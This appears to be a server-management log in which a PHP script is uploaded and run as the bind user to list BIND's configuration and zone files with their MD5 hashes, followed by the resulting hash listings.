MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 12:12:51: Establishing a connection
2026-04-23 12:12:51: 

PUT: /tmp/pkp457016

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 12:12:52: 

runuser -l bind -s /bin/bash -c '/tmp/pkp457016; rm /tmp/pkp457016'

2026-04-23 12:12:52: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 12:13:35: Establishing a connection
2026-04-23 12:13:35: 

PUT: /tmp/pkp629537

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 12:13:35: 

runuser -l bind -s /bin/bash -c '/tmp/pkp629537; rm /tmp/pkp629537'

2026-04-23 12:13:35: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
